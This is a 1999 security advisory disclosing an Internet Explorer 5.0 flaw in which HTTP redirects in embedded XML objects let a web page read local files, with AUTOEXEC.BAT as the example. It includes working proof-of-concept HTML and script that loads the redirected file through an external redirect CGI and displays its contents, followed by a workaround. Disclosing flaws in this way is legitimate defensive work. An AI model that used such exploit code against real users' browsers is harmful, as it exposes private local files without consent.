ie50.xml.txt

`Disclaimer:  
The opinions expressed in this advisory and program are my own and not  
of any company.  
The usual standard disclaimer applies, especially the fact that Georgi  
Guninski is not liable for any damages caused by direct or indirect use  
of the information or functionality provided by this program.  
Georgi Guninski, bears NO responsibility for content or misuse of this  
program or any derivatives thereof.  
  
Description:  
  
Internet Explorer 5.0 under Windows 95 and WinNT 4.0 (guess other  
versions are affected) has security problems with HTTP redirects in XML  
objects. This allows at least:  
1) Reading any (local or nonlocal) XML file and any wellformed  
documents. With the growing influence of XML I consider this a serious  
problem.  
2) Reading parts of documents  
3) Checking for the existence of local files.  
I suppose reading of arbitrary files (not just XML) is also possible,  
but do not have the time to explore.  
  
Details:  
  
When one embeds a XML document in a HTML document IE 5.0 does not handle  
properly HTTP redirects  
and allows access to the DOM of the embeded XML document.  
  
The code is:  
----------------------------------------------------------------------------------------  
<object id="xm" type="text/xml"  
data="http://www.nat.bg/~joro/reject.cgi?autoexec" width=400 height=200>  
</object>  
<SCRIPT>  
function f()  
{  
s=xm.body.innerHTML;  
a=window.open();  
//alert(s);  
a.document.open();  
a.document.write("Here is a part of AUTOEXEC.BAT (the error message is  
normal):<BR>"+s);  
a.document.close();  
}  
setTimeout("f()",5000);  
</SCRIPT>  
----------------------------------------------------------------------------------------  
  
  
Workaround:  
Disable Active Scripting or Disable Script ActiveX Controls marked Safe  
for Scripting  
  
Demonstration is available at http://www.nat.bg/~joro/xmln.html  
  
Copyright 1999 Georgi Guninski  
  
Regards,  
Georgi Guninski  
http://www.nat.bg/~joro  
  
`